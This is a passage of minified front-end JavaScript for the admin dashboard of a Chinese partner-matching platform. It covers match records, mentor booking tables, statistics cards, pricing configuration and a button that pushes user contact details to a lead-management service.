rounded-lg text-sm font-medium transition-all ${t==="pool"?"bg-[#38bdac]/20 text-[#38bdac] border border-[#38bdac]/50":"bg-[#0a1628] text-gray-400 border border-gray-700 hover:text-white"}`,children:"匹配池设置"})]}),t==="records"&&s.jsx(RV,{}),t==="pool"&&s.jsx(IV,{})]})}const Ew={investor:"资源对接",mentor:"导师顾问",team:"团队招募"};function OV(){const[t,e]=b.useState([]),[n,r]=b.useState(0),[a,i]=b.useState(1),[o,c]=b.useState(10),[u,h]=b.useState(!0),[f,m]=b.useState("investor"),[g,y]=b.useState(null);async function N(){h(!0);try{const C=new URLSearchParams({page:String(a),pageSize:String(o),matchType:f}),E=await De(`/api/db/match-records?${C}`);E!=null&&E.success&&(e(E.records||[]),r(E.total??0))}catch(C){console.error(C)}finally{h(!1)}}b.useEffect(()=>{N()},[a,f]);const w=async C=>{if(!C.phone&&!C.wechatId){ie.info("该记录无联系方式,无法推送到存客宝");return}y(C.id);try{const E=await vt("/api/ckb/join",{type:C.matchType||"investor",phone:C.phone||"",wechat:C.wechatId||"",userId:C.userId,name:C.userNickname||""});ie.error((E==null?void 0:E.message)||(E!=null&&E.success?"推送成功":"推送失败"))}catch(E){ie.error("推送失败: "+(E instanceof Error?E.message:"网络错误"))}finally{y(null)}},v=Math.ceil(n/o)||1,k=C=>!!(C.phone||C.wechatId);return s.jsxs("div",{children:[s.jsxs("div",{className:"flex justify-between items-center mb-4",children:[s.jsxs("div",{children:[s.jsx("p",{className:"text-gray-400",children:"点击获客:有人填写手机号/微信号的直接显示,可一键推送到存客宝"}),s.jsxs("p",{className:"text-gray-500 text-xs mt-1",children:["共 ",n," 条记录 — 有联系方式的可触发存客宝添加好友"]})]}),s.jsxs("div",{className:"flex items-center gap-2",children:[s.jsx("select",{value:f,onChange:C=>{m(C.target.value),i(1)},className:"bg-[#0f2137] border border-gray-700 text-white rounded-lg px-3 py-2 text-sm",children:Object.entries(Ew).map(([C,E])=>s.jsx("option",{value:C,children:E},C))}),s.jsxs(te,{onClick:N,disabled:u,variant:"outline",className:"border-gray-600 text-gray-300 hover:bg-gray-700/50 bg-transparent",children:[s.jsx(Ke,{className:`w-4 h-4 mr-2 ${u?"animate-spin":""}`})," 刷新"]})]})]}),s.jsx(Ce,{className:"bg-[#0f2137] border-gray-700/50 shadow-xl",children:s.jsx(Ee,{className:"p-0",children:u?s.jsxs("div",{className:"flex justify-center py-12",children:[s.jsx(Ke,{className:"w-6 h-6 text-[#38bdac] animate-spin"}),s.jsx("span",{className:"ml-2 text-gray-400",children:"加载中..."})]}):s.jsxs(s.Fragment,{children:[s.jsxs(lr,{children:[s.jsx(cr,{children:s.jsxs(it,{className:"bg-[#0a1628] hover:bg-[#0a1628] border-gray-700",children:[s.jsx(ke,{className:"text-gray-400",children:"发起人"}),s.jsx(ke,{className:"text-gray-400",children:"匹配到"}),s.jsx(ke,{className:"text-gray-400",children:"类型"}),s.jsx(ke,{className:"text-gray-400",children:"联系方式"}),s.jsx(ke,{className:"text-gray-400",children:"时间"}),s.jsx(ke,{className:"text-gray-400 text-right",children:"操作"})]})}),s.jsxs(dr,{children:[t.map(C=>{var E,T;return s.jsxs(it,{className:`border-gray-700/50 ${k(C)?"hover:bg-[#0a1628]":"opacity-60"}`,children:[s.jsx(ve,{className:"text-white",children:C.userNickname||((E=C.userId)==null?void 0:E.slice(0,12))}),s.jsx(ve,{className:"text-white",children:C.matchedNickname||((T=C.matchedUserId)==null?void 0:T.slice(0,12))}),s.jsx(ve,{children:s.jsx(qe,{className:"bg-[#38bdac]/20 text-[#38bdac] border-0",children:Ew[C.matchType]||C.matchType})}),s.jsxs(ve,{className:"text-sm",children:[C.phone&&s.jsxs("div",{className:"text-green-400",children:["📱 ",C.phone]}),C.wechatId&&s.jsxs("div",{className:"text-blue-400",children:["💬 ",C.wechatId]}),!C.phone&&!C.wechatId&&s.jsx("span",{className:"text-gray-600",children:"无联系方式"})]}),s.jsx(ve,{className:"text-gray-400 text-sm",children:C.createdAt?new Date(C.createdAt).toLocaleString():"-"}),s.jsx(ve,{className:"text-right",children:k(C)?s.jsxs(te,{size:"sm",onClick:()=>w(C),disabled:g===C.id,className:"bg-[#38bdac] hover:bg-[#2da396] text-white text-xs h-7 px-3",children:[s.jsx(TA,{className:"w-3 h-3 mr-1"}),g===C.id?"推送中...":"推送CKB"]}):s.jsx("span",{className:"text-gray-600 text-xs",children:"—"})})]},C.id)}),t.length===0&&s.jsx(it,{children:s.jsx(ve,{colSpan:6,className:"text-center py-12 text-gray-500",children:"暂无记录"})})]})]}),s.jsx(is,{page:a,totalPages:v,total:n,pageSize:o,onPageChange:i,onPageSizeChange:C=>{c(C),i(1)}})]})})})]})}const Tw={created:"已创建",pending_pay:"待支付",paid:"已支付",completed:"已完成",cancelled:"已取消"},DV={single:"单次",half_year:"半年",year:"年度"};function LV(){const[t,e]=b.useState([]),[n,r]=b.useState(!0),[a,i]=b.useState("");async function o(){r(!0);try{const c=a?`/api/db/mentor-consultations?status=${a}`:"/api/db/mentor-consultations",u=await De(c);u!=null&&u.success&&u.data&&e(u.data)}catch(c){console.error(c)}finally{r(!1)}}return b.useEffect(()=>{o()},[a]),s.jsxs("div",{children:[s.jsxs("div",{className:"flex justify-between items-center mb-4",children:[s.jsx("p",{className:"text-gray-400",children:"导师咨询预约记录"}),s.jsxs("div",{className:"flex items-center gap-2",children:[s.jsxs("select",{value:a,onChange:c=>i(c.target.value),className:"bg-[#0f2137] border border-gray-700 rounded-lg px-3 py-2 text-gray-300 text-sm",children:[s.jsx("option",{value:"",children:"全部状态"}),Object.entries(Tw).map(([c,u])=>s.jsx("option",{value:c,children:u},c))]}),s.jsxs(te,{onClick:o,disabled:n,variant:"outline",className:"border-gray-600 text-gray-300 hover:bg-gray-700/50 bg-transparent",children:[s.jsx(Ke,{className:`w-4 h-4 mr-2 ${n?"animate-spin":""}`})," 刷新"]})]})]}),s.jsx(Ce,{className:"bg-[#0f2137] border-gray-700/50",children:s.jsx(Ee,{className:"p-0",children:n?s.jsx("div",{className:"py-12 text-center text-gray-400",children:"加载中..."}):s.jsxs(lr,{children:[s.jsx(cr,{children:s.jsxs(it,{className:"bg-[#0a1628] border-gray-700",children:[s.jsx(ke,{className:"text-gray-400",children:"ID"}),s.jsx(ke,{className:"text-gray-400",children:"用户ID"}),s.jsx(ke,{className:"text-gray-400",children:"导师ID"}),s.jsx(ke,{className:"text-gray-400",children:"类型"}),s.jsx(ke,{className:"text-gray-400",children:"金额"}),s.jsx(ke,{className:"text-gray-400",children:"状态"}),s.jsx(ke,{className:"text-gray-400",children:"创建时间"})]})}),s.jsxs(dr,{children:[t.map(c=>s.jsxs(it,{className:"border-gray-700/50",children:[s.jsx(ve,{className:"text-gray-300",children:c.id}),s.jsx(ve,{className:"text-gray-400",children:c.userId}),s.jsx(ve,{className:"text-gray-400",children:c.mentorId}),s.jsx(ve,{className:"text-gray-400",children:DV[c.consultationType]||c.consultationType}),s.jsxs(ve,{className:"text-white",children:["¥",c.amount]}),s.jsx(ve,{className:"text-gray-400",children:Tw[c.status]||c.status}),s.jsx(ve,{className:"text-gray-500 text-sm",children:c.createdAt?new Date(c.createdAt).toLocaleString():"-"})]},c.id)),t.length===0&&s.jsx(it,{children:s.jsx(ve,{colSpan:7,className:"text-center py-12 text-gray-500",children:"暂无预约记录"})})]})]})})})]})}function _V(){const[t,e]=b.useState("booking");return s.jsxs("div",{className:"space-y-4",children:[s.jsxs("div",{className:"flex gap-2",children:[s.jsx("button",{type:"button",onClick:()=>e("booking"),className:`px-4 py-2 rounded-lg text-sm font-medium transition-all ${t==="booking"?"bg-[#38bdac]/20 text-[#38bdac] border border-[#38bdac]/50":"bg-[#0a1628] text-gray-400 border border-gray-700 hover:text-white"}`,children:"预约记录"}),s.jsx("button",{type:"button",onClick:()=>e("manage"),className:`px-4 py-2 rounded-lg text-sm font-medium transition-all ${t==="manage"?"bg-[#38bdac]/20 text-[#38bdac] border border-[#38bdac]/50":"bg-[#0a1628] text-gray-400 border border-gray-700 hover:text-white"}`,children:"导师管理"})]}),t==="booking"&&s.jsx(LV,{}),t==="manage"&&s.jsx("div",{className:"-mx-8",children:s.jsx(B4,{embedded:!0})})]})}function zV(){const[t,e]=b.useState([]),[n,r]=b.useState(0),[a,i]=b.useState(1),[o,c]=b.useState(10),[u,h]=b.useState(!0);async function f(){h(!0);try{const g=new URLSearchParams({page:String(a),pageSize:String(o),matchType:"team"}),y=await De(`/api/db/match-records?${g}`);y!=null&&y.success&&(e(y.records||[]),r(y.total??0))}catch(g){console.error(g)}finally{h(!1)}}b.useEffect(()=>{f()},[a]);const m=Math.ceil(n/o)||1;return s.jsxs("div",{children:[s.jsxs("div",{className:"flex justify-between items-center mb-4",children:[s.jsxs("div",{children:[s.jsxs("p",{className:"text-gray-400",children:["团队招募匹配记录,共 ",n," 条"]}),s.jsx("p",{className:"text-gray-500 text-xs mt-1",children:"用户通过「团队招募」提交联系方式到存客宝"})]}),s.jsxs("button",{type:"button",onClick:f,disabled:u,className:"flex items-center gap-2 px-4 py-2 rounded-lg border border-gray-600 text-gray-300 hover:bg-gray-700/50 transition-colors disabled:opacity-50",children:[s.jsx(Ke,{className:`w-4 h-4 ${u?"animate-spin":""}`})," 刷新"]})]}),s.jsx(Ce,{className:"bg-[#0f2137] border-gray-700/50 shadow-xl",children:s.jsx(Ee,{className:"p-0",children:u?s.jsxs("div",{className:"flex justify-center py-12",children:[s.jsx(Ke,{className:"w-6 h-6 text-[#38bdac] animate-spin"}),s.jsx("span",{className:"ml-2 text-gray-400",children:"加载中..."})]}):s.jsxs(s.Fragment,{children:[s.jsxs(lr,{children:[s.jsx(cr,{children:s.jsxs(it,{className:"bg-[#0a1628] hover:bg-[#0a1628] border-gray-700",children:[s.jsx(ke,{className:"text-gray-400",children:"发起人"}),s.jsx(ke,{className:"text-gray-400",children:"匹配到"}),s.jsx(ke,{className:"text-gray-400",children:"联系方式"}),s.jsx(ke,{className:"text-gray-400",children:"时间"})]})}),s.jsxs(dr,{children:[t.map(g=>s.jsxs(it,{className:"hover:bg-[#0a1628] border-gray-700/50",children:[s.jsx(ve,{className:"text-white",children:g.userNickname||g.userId}),s.jsx(ve,{className:"text-white",children:g.matchedNickname||g.matchedUserId}),s.jsxs(ve,{className:"text-gray-400 text-sm",children:[g.phone&&s.jsxs("div",{children:["📱 ",g.phone]}),g.wechatId&&s.jsxs("div",{children:["💬 ",g.wechatId]}),!g.phone&&!g.wechatId&&"-"]}),s.jsx(ve,{className:"text-gray-400",children:g.createdAt?new Date(g.createdAt).toLocaleString():"-"})]},g.id)),t.length===0&&s.jsx(it,{children:s.jsx(ve,{colSpan:4,className:"text-center py-12 text-gray-500",children:"暂无团队招募记录"})})]})]}),s.jsx(is,{page:a,totalPages:m,total:n,pageSize:o,onPageChange:i,onPageSizeChange:g=>{c(g),i(1)}})]})})})]})}const Mw={partner:"找伙伴",investor:"资源对接",mentor:"导师顾问",team:"团队招募"},Aw={partner:"⭐",investor:"👥",mentor:"❤️",team:"🎮"};function $V({onSwitchTab:t,onOpenCKB:e}={}){const n=Ci(),[r,a]=b.useState(null),[i,o]=b.useState(null),[c,u]=b.useState(!0),h=b.useCallback(async()=>{var m,g;u(!0);try{const[y,N]=await Promise.allSettled([De("/api/db/match-records?stats=true"),De("/api/db/ckb-plan-stats")]);if(y.status==="fulfilled"&&((m=y.value)!=null&&m.success)&&y.value.data){let w=y.value.data;if(w.totalMatches>0&&(!w.uniqueUsers||w.uniqueUsers===0))try{const v=await De("/api/db/match-records?page=1&pageSize=200");if(v!=null&&v.success&&v.records){const k=new Set(v.records.map(C=>C.userId).filter(Boolean));w={...w,uniqueUsers:k.size}}}catch{}a(w)}N.status==="fulfilled"&&((g=N.value)!=null&&g.success)&&N.value.data&&o(N.value.data)}catch(y){console.error("加载统计失败:",y)}finally{u(!1)}},[]);b.useEffect(()=>{h()},[h]);const f=m=>c?"—":String(m??0);return s.jsxs("div",{className:"space-y-8",children:[s.jsxs("div",{children:[s.jsxs("h3",{className:"text-lg font-semibold text-white mb-4 flex items-center gap-2",children:[s.jsx(Zn,{className:"w-5 h-5 text-[#38bdac]"})," 找伙伴数据"]}),s.jsxs("div",{className:"grid grid-cols-2 lg:grid-cols-3 gap-5",children:[s.jsx(Ce,{className:"bg-gradient-to-br from-[#0f2137] to-[#162d4a] border-gray-700/40 cursor-pointer hover:border-[#38bdac]/60 transition-all",onClick:()=>t==null?void 0:t("partner"),children:s.jsxs(Ee,{className:"p-6",children:[s.jsx("p",{className:"text-gray-400 text-sm mb-2",children:"总匹配次数"}),s.jsx("p",{className:"text-4xl font-bold text-white",children:f(r==null?void 0:r.totalMatches)}),s.jsxs("p",{className:"text-[#38bdac] text-xs mt-3 flex items-center gap-1",children:[s.jsx(Us,{className:"w-3 h-3"})," 查看匹配记录"]})]})}),s.jsx(Ce,{className:"bg-gradient-to-br from-[#0f2137] to-[#162d4a] border-gray-700/40 cursor-pointer hover:border-yellow-500/60 transition-all",onClick:()=>t==null?void 0:t("partner"),children:s.jsxs(Ee,{className:"p-6",children:[s.jsx("p",{className:"text-gray-400 text-sm mb-2",children:"今日匹配"}),s.jsx("p",{className:"text-4xl font-bold text-white",children:f(r==null?void 0:r.todayMatches)}),s.jsxs("p",{className:"text-yellow-400/60 text-xs mt-3 flex items-center gap-1",children:[s.jsx(li,{className:"w-3 h-3"})," 今日实时"]})]})}),s.jsx(Ce,{className:"bg-gradient-to-br from-[#0f2137] to-[#162d4a] border-gray-700/40 cursor-pointer hover:border-blue-500/60 transition-all",onClick:()=>n("/users"),children:s.jsxs(Ee,{className:"p-6",children:[s.jsx("p",{className:"text-gray-400 text-sm mb-2",children:"匹配用户数"}),s.jsx("p",{className:"text-4xl font-bold text-white",children:f(r==null?void 0:r.uniqueUsers)}),s.jsxs("p",{className:"text-blue-400/60 text-xs mt-3 flex items-center gap-1",children:[s.jsx(Us,{className:"w-3 h-3"})," 查看用户管理"]})]})}),s.jsx(Ce,{className:"bg-[#0f2137] border-gray-700/40",children:s.jsxs(Ee,{className:"p-6",children:[s.jsx("p",{className:"text-gray-400 text-sm mb-2",children:"人均匹配"}),s.jsx("p",{className:"text-3xl font-bold text-white",children:c?"—":r!=null&&r.uniqueUsers?(r.totalMatches/r.uniqueUsers).toFixed(1):"0"})]})}),s.jsx(Ce,{className:"bg-[#0f2137] border-gray-700/40",children:s.jsxs(Ee,{className:"p-6",children:[s.jsx("p",{className:"text-gray-400 text-sm mb-2",children:"付费匹配次数"}),s.jsx("p",{className:"text-3xl font-bold text-white",children:f(r==null?void 0:r.paidMatchCount)})]})})]})]}),(r==null?void 0:r.byType)&&r.byType.length>0&&s.jsxs("div",{children:[s.jsx("h3",{className:"text-lg font-semibold text-white mb-4",children:"各类型匹配分布"}),s.jsx("div",{className:"grid grid-cols-2 lg:grid-cols-4 gap-4",children:r.byType.map(m=>{const g=r.totalMatches>0?m.count/r.totalMatches*100:0;return s.jsxs("div",{className:"bg-[#0f2137] border border-gray-700/40 rounded-xl p-5",children:[s.jsxs("div",{className:"flex items-center gap-2 mb-3",children:[s.jsx("span",{className:"text-2xl",children:Aw[m.matchType]||"📊"}),s.jsx("span",{className:"text-gray-300 font-medium",children:Mw[m.matchType]||m.matchType})]}),s.jsx("p",{className:"text-3xl font-bold text-white mb-2",children:m.count}),s.jsx("div",{className:"w-full h-2 bg-gray-700/50 rounded-full overflow-hidden",children:s.jsx("div",{className:"h-full bg-[#38bdac] rounded-full transition-all",style:{width:`${Math.min(g,100)}%`}})}),s.jsxs("p",{className:"text-gray-500 text-xs mt-1.5",children:[g.toFixed(1),"%"]})]},m.matchType)})})]}),s.jsxs("div",{children:[s.jsxs("h3",{className:"text-lg font-semibold text-white mb-4 flex items-center gap-2",children:[s.jsx(Ss,{className:"w-5 h-5 text-orange-400"})," AI 获客数据"]}),s.jsxs("div",{className:"grid grid-cols-2 lg:grid-cols-3 gap-5 mb-6",children:[s.jsx(Ce,{className:"bg-[#0f2137] border-orange-500/20 cursor-pointer hover:border-orange-500/50 transition-colors",onClick:()=>e==null?void 0:e("submitted"),children:s.jsxs(Ee,{className:"p-6",children:[s.jsx("p",{className:"text-gray-400 text-sm mb-2",children:"已提交线索"}),s.jsx("p",{className:"text-3xl font-bold text-white",children:c?"—":(i==null?void 0:i.ckbTotal)??0}),s.jsx("p",{className:"text-orange-400/60 text-xs mt-2",children:"点击查看明细 →"})]})}),s.jsx(Ce,{className:"bg-[#0f2137] border-orange-500/20 cursor-pointer hover:border-orange-500/50 transition-colors",onClick:()=>e==null?void 0:e("contact"),children:s.jsxs(Ee,{className:"p-6",children:[s.jsx("p",{className:"text-gray-400 text-sm mb-2",children:"有联系方式"}),s.jsx("p",{className:"text-3xl font-bold text-white",children:c?"—":(i==null?void 0:i.withContact)??0}),s.jsx("p",{className:"text-orange-400/60 text-xs mt-2",children:"点击查看明细 →"})]})}),s.jsx(Ce,{className:"bg-[#0f2137] border-orange-500/20 cursor-pointer hover:border-orange-500/50 transition-colors",onClick:()=>e==null?void 0:e("test"),children:s.jsxs(Ee,{className:"p-6",children:[s.jsx("p",{className:"text-gray-400 text-sm mb-2",children:"AI 添加进度"}),s.jsx("p",{className:"text-xl font-bold text-orange-400",children:"查看详情 →"}),s.jsx("p",{className:"text-gray-500 text-xs mt-2",children:"添加成功率 · 回复率 · API 文档"})]})})]}),(i==null?void 0:i.byType)&&i.byType.length>0&&s.jsx("div",{className:"grid grid-cols-2 lg:grid-cols-4 gap-3 mb-6",children:i.byType.map(m=>s.jsxs("div",{className:"bg-[#0a1628] border border-gray-700/30 rounded-lg p-4 flex items-center gap-3",children:[s.jsx("span",{className:"text-xl",children:Aw[m.matchType]||"📋"}),s.jsxs("div",{children:[s.jsx("p",{className:"text-gray-400 text-xs",children:Mw[m.matchType]||m.matchType}),s.jsx("p",{className:"text-xl font-bold text-white",children:m.total})]})]},m.matchType))})]})]})}const FV=["partner","investor","mentor","team"],wg=[{key:"join_partner",label:"找伙伴场景"},{key:"join_investor",label:"资源对接场景"},{key:"join_mentor",label:"导师顾问场景"},{key:"join_team",label:"团队招募场景"},{key:"match",label:"匹配上报"},{key:"lead",label:"链接卡若"}],Iw=`# 场景获客接口摘要 +`).filter(Boolean).length," 个"]})]}),s.jsxs(te,{onClick:f,className:"w-full bg-[#38bdac] hover:bg-[#2da396] text-white",children:[s.jsx(uh,{className:"w-4 h-4 mr-2"}),"保存多群配置"]})]})]})]}),s.jsxs("div",{className:"mt-6 bg-[#0f2137] rounded-xl p-4 border border-gray-700/50",children:[s.jsx("h4",{className:"text-white font-medium mb-3",children:"常见问题"}),s.jsxs("div",{className:"space-y-3 text-sm",children:[s.jsxs("div",{children:[s.jsx("p",{className:"text-[#38bdac]",children:"Q: 为什么推荐使用草料活码?"}),s.jsx("p",{className:"text-gray-400",children:"A: 草料活码是永久链接,群满后可直接在后台更换新群码,无需修改网站配置。微信原生群码7天失效。"})]}),s.jsxs("div",{children:[s.jsx("p",{className:"text-[#38bdac]",children:"Q: 支付后没有跳转怎么办?"}),s.jsx("p",{className:"text-gray-400",children:"A: 1) 检查链接是否正确填写 2) 部分浏览器可能拦截弹窗,用户需手动允许 3) 建议使用https开头的链接"})]})]})]})]})}const jw={matchTypes:[{id:"partner",label:"创业合伙",matchLabel:"创业伙伴",icon:"⭐",matchFromDB:!0,showJoinAfterMatch:!1,price:1,enabled:!0},{id:"investor",label:"资源对接",matchLabel:"资源对接",icon:"👥",matchFromDB:!1,showJoinAfterMatch:!0,price:1,enabled:!0},{id:"mentor",label:"导师顾问",matchLabel:"导师顾问",icon:"❤️",matchFromDB:!1,showJoinAfterMatch:!0,price:1,enabled:!0},{id:"team",label:"团队招募",matchLabel:"加入项目",icon:"🎮",matchFromDB:!1,showJoinAfterMatch:!0,price:1,enabled:!0}],freeMatchLimit:3,matchPrice:1,settings:{enableFreeMatches:!0,enablePaidMatches:!0,maxMatchesPerDay:10}},SV=["⭐","👥","❤️","🎮","💼","🚀","💡","🎯","🔥","✨"];function CV(){const[t,e]=b.useState(jw),[n,r]=b.useState(!0),[a,i]=b.useState(!1),[o,c]=b.useState(!1),[u,h]=b.useState(null),[f,m]=b.useState({id:"",label:"",matchLabel:"",icon:"⭐",matchFromDB:!1,showJoinAfterMatch:!0,price:1,enabled:!0}),g=async()=>{r(!0);try{const E=await De("/api/db/config/full?key=match_config"),T=(E==null?void 0:E.data)??(E==null?void 0:E.config);T&&e({...jw,...T})}catch(E){console.error("加载匹配配置失败:",E)}finally{r(!1)}};b.useEffect(()=>{g()},[]);const y=async()=>{i(!0);try{const E=await vt("/api/db/config",{key:"match_config",value:t,description:"匹配功能配置"});E&&E.success!==!1?ie.success("配置保存成功!"):ie.error("保存失败: "+(E&&typeof E=="object"&&"error"in E?E.error:"未知错误"))}catch(E){console.error("保存配置失败:",E),ie.error("保存失败")}finally{i(!1)}},N=E=>{h(E),m({id:E.id,label:E.label,matchLabel:E.matchLabel,icon:E.icon,matchFromDB:E.matchFromDB,showJoinAfterMatch:E.showJoinAfterMatch,price:E.price,enabled:E.enabled}),c(!0)},w=()=>{h(null),m({id:"",label:"",matchLabel:"",icon:"⭐",matchFromDB:!1,showJoinAfterMatch:!0,price:1,enabled:!0}),c(!0)},v=()=>{if(!f.id||!f.label){ie.error("请填写类型ID和名称");return}const E=[...t.matchTypes];if(u){const T=E.findIndex(I=>I.id===u.id);T!==-1&&(E[T]={...f})}else{if(E.some(T=>T.id===f.id)){ie.error("类型ID已存在");return}E.push({...f})}e({...t,matchTypes:E}),c(!1)},k=E=>{confirm("确定要删除这个匹配类型吗?")&&e({...t,matchTypes:t.matchTypes.filter(T=>T.id!==E)})},C=E=>{e({...t,matchTypes:t.matchTypes.map(T=>T.id===E?{...T,enabled:!T.enabled}:T)})};return s.jsxs("div",{className:"p-8 w-full space-y-6",children:[s.jsxs("div",{className:"flex justify-between items-center",children:[s.jsxs("div",{children:[s.jsxs("h2",{className:"text-2xl font-bold text-white flex items-center gap-2",children:[s.jsx(lo,{className:"w-6 h-6 text-[#38bdac]"}),"匹配功能配置"]}),s.jsx("p",{className:"text-gray-400 mt-1",children:"管理找伙伴功能的匹配类型和价格"})]}),s.jsxs("div",{className:"flex gap-3",children:[s.jsxs(te,{variant:"outline",onClick:g,disabled:n,className:"border-gray-600 text-gray-300 hover:bg-gray-700/50 bg-transparent",children:[s.jsx(qe,{className:`w-4 h-4 mr-2 ${n?"animate-spin":""}`}),"刷新"]}),s.jsxs(te,{onClick:y,disabled:a,className:"bg-[#38bdac] hover:bg-[#2da396] text-white",children:[s.jsx(bn,{className:"w-4 h-4 mr-2"}),a?"保存中...":"保存配置"]})]})]}),s.jsxs(Ce,{className:"bg-[#0f2137] border-gray-700/50",children:[s.jsxs(Ye,{children:[s.jsxs(Qe,{className:"text-white flex items-center gap-2",children:[s.jsx(li,{className:"w-5 h-5 text-yellow-400"}),"基础设置"]}),s.jsx(It,{className:"text-gray-400",children:"配置免费匹配次数和付费规则"})]}),s.jsxs(Ee,{className:"space-y-6",children:[s.jsxs("div",{className:"grid grid-cols-1 md:grid-cols-3 gap-6",children:[s.jsxs("div",{className:"space-y-2",children:[s.jsx(X,{className:"text-gray-300",children:"每日免费匹配次数"}),s.jsx(se,{type:"number",min:0,max:100,className:"bg-[#0a1628] border-gray-700 text-white",value:t.freeMatchLimit,onChange:E=>e({...t,freeMatchLimit:parseInt(E.target.value,10)||0})}),s.jsx("p",{className:"text-xs text-gray-500",children:"用户每天可免费匹配的次数"})]}),s.jsxs("div",{className:"space-y-2",children:[s.jsx(X,{className:"text-gray-300",children:"付费匹配价格(元)"}),s.jsx(se,{type:"number",min:.01,step:.01,className:"bg-[#0a1628] border-gray-700 text-white",value:t.matchPrice,onChange:E=>e({...t,matchPrice:parseFloat(E.target.value)||1})}),s.jsx("p",{className:"text-xs text-gray-500",children:"免费次数用完后的单次匹配价格"})]}),s.jsxs("div",{className:"space-y-2",children:[s.jsx(X,{className:"text-gray-300",children:"每日最大匹配次数"}),s.jsx(se,{type:"number",min:1,max:100,className:"bg-[#0a1628] border-gray-700 text-white",value:t.settings.maxMatchesPerDay,onChange:E=>e({...t,settings:{...t.settings,maxMatchesPerDay:parseInt(E.target.value,10)||10}})}),s.jsx("p",{className:"text-xs text-gray-500",children:"包含免费和付费的总次数"})]})]}),s.jsxs("div",{className:"flex gap-8 pt-4 border-t border-gray-700/50",children:[s.jsxs("div",{className:"flex items-center gap-3",children:[s.jsx(kt,{checked:t.settings.enableFreeMatches,onCheckedChange:E=>e({...t,settings:{...t.settings,enableFreeMatches:E}})}),s.jsx(X,{className:"text-gray-300",children:"启用免费匹配"})]}),s.jsxs("div",{className:"flex items-center gap-3",children:[s.jsx(kt,{checked:t.settings.enablePaidMatches,onCheckedChange:E=>e({...t,settings:{...t.settings,enablePaidMatches:E}})}),s.jsx(X,{className:"text-gray-300",children:"启用付费匹配"})]})]})]})]}),s.jsxs(Ce,{className:"bg-[#0f2137] border-gray-700/50",children:[s.jsxs(Ye,{className:"flex flex-row items-center justify-between",children:[s.jsxs("div",{children:[s.jsxs(Qe,{className:"text-white flex items-center gap-2",children:[s.jsx(Zn,{className:"w-5 h-5 text-[#38bdac]"}),"匹配类型管理"]}),s.jsx(It,{className:"text-gray-400",children:"配置不同的匹配类型及其价格"})]}),s.jsxs(te,{onClick:w,size:"sm",className:"bg-[#38bdac] hover:bg-[#2da396] text-white",children:[s.jsx(hn,{className:"w-4 h-4 mr-1"}),"添加类型"]})]}),s.jsx(Ee,{children:s.jsxs(lr,{children:[s.jsx(cr,{children:s.jsxs(it,{className:"bg-[#0a1628] hover:bg-[#0a1628] border-gray-700",children:[s.jsx(ke,{className:"text-gray-400",children:"图标"}),s.jsx(ke,{className:"text-gray-400",children:"类型ID"}),s.jsx(ke,{className:"text-gray-400",children:"显示名称"}),s.jsx(ke,{className:"text-gray-400",children:"匹配标签"}),s.jsx(ke,{className:"text-gray-400",children:"价格"}),s.jsx(ke,{className:"text-gray-400",children:"数据库匹配"}),s.jsx(ke,{className:"text-gray-400",children:"状态"}),s.jsx(ke,{className:"text-right text-gray-400",children:"操作"})]})}),s.jsx(dr,{children:t.matchTypes.map(E=>s.jsxs(it,{className:"hover:bg-[#0a1628] border-gray-700/50",children:[s.jsx(ve,{children:s.jsx("span",{className:"text-2xl",children:E.icon})}),s.jsx(ve,{className:"font-mono text-gray-300",children:E.id}),s.jsx(ve,{className:"text-white font-medium",children:E.label}),s.jsx(ve,{className:"text-gray-300",children:E.matchLabel}),s.jsx(ve,{children:s.jsxs(We,{className:"bg-yellow-500/20 text-yellow-400 hover:bg-yellow-500/20 border-0",children:["¥",E.price]})}),s.jsx(ve,{children:E.matchFromDB?s.jsx(We,{className:"bg-green-500/20 text-green-400 hover:bg-green-500/20 border-0",children:"是"}):s.jsx(We,{variant:"outline",className:"text-gray-500 border-gray-600",children:"否"})}),s.jsx(ve,{children:s.jsx(kt,{checked:E.enabled,onCheckedChange:()=>C(E.id)})}),s.jsx(ve,{className:"text-right",children:s.jsxs("div",{className:"flex items-center justify-end gap-1",children:[s.jsx(te,{variant:"ghost",size:"sm",onClick:()=>N(E),className:"text-gray-400 hover:text-[#38bdac] hover:bg-[#38bdac]/10",children:s.jsx(Wt,{className:"w-4 h-4"})}),s.jsx(te,{variant:"ghost",size:"sm",onClick:()=>k(E.id),className:"text-red-400 hover:text-red-300 hover:bg-red-500/10",children:s.jsx(Jn,{className:"w-4 h-4"})})]})})]},E.id))})]})})]}),s.jsx(Dt,{open:o,onOpenChange:c,children:s.jsxs(At,{className:"bg-[#0f2137] border-gray-700 text-white max-w-lg",showCloseButton:!0,children:[s.jsx(Lt,{children:s.jsxs(_t,{className:"text-white flex items-center gap-2",children:[u?s.jsx(Wt,{className:"w-5 h-5 text-[#38bdac]"}):s.jsx(hn,{className:"w-5 h-5 text-[#38bdac]"}),u?"编辑匹配类型":"添加匹配类型"]})}),s.jsxs("div",{className:"space-y-4 py-4",children:[s.jsxs("div",{className:"grid grid-cols-2 gap-4",children:[s.jsxs("div",{className:"space-y-2",children:[s.jsx(X,{className:"text-gray-300",children:"类型ID(英文)"}),s.jsx(se,{className:"bg-[#0a1628] border-gray-700 text-white",placeholder:"如: partner",value:f.id,onChange:E=>m({...f,id:E.target.value}),disabled:!!u})]}),s.jsxs("div",{className:"space-y-2",children:[s.jsx(X,{className:"text-gray-300",children:"图标"}),s.jsx("div",{className:"flex gap-1 flex-wrap",children:SV.map(E=>s.jsx("button",{type:"button",className:`w-8 h-8 text-lg rounded ${f.icon===E?"bg-[#38bdac]/30 ring-1 ring-[#38bdac]":"bg-[#0a1628]"}`,onClick:()=>m({...f,icon:E}),children:E},E))})]})]}),s.jsxs("div",{className:"grid grid-cols-2 gap-4",children:[s.jsxs("div",{className:"space-y-2",children:[s.jsx(X,{className:"text-gray-300",children:"显示名称"}),s.jsx(se,{className:"bg-[#0a1628] border-gray-700 text-white",placeholder:"如: 创业合伙",value:f.label,onChange:E=>m({...f,label:E.target.value})})]}),s.jsxs("div",{className:"space-y-2",children:[s.jsx(X,{className:"text-gray-300",children:"匹配标签"}),s.jsx(se,{className:"bg-[#0a1628] border-gray-700 text-white",placeholder:"如: 创业伙伴",value:f.matchLabel,onChange:E=>m({...f,matchLabel:E.target.value})})]})]}),s.jsxs("div",{className:"space-y-2",children:[s.jsx(X,{className:"text-gray-300",children:"单次匹配价格(元)"}),s.jsx(se,{type:"number",min:.01,step:.01,className:"bg-[#0a1628] border-gray-700 text-white",value:f.price,onChange:E=>m({...f,price:parseFloat(E.target.value)||1})})]}),s.jsxs("div",{className:"flex gap-6 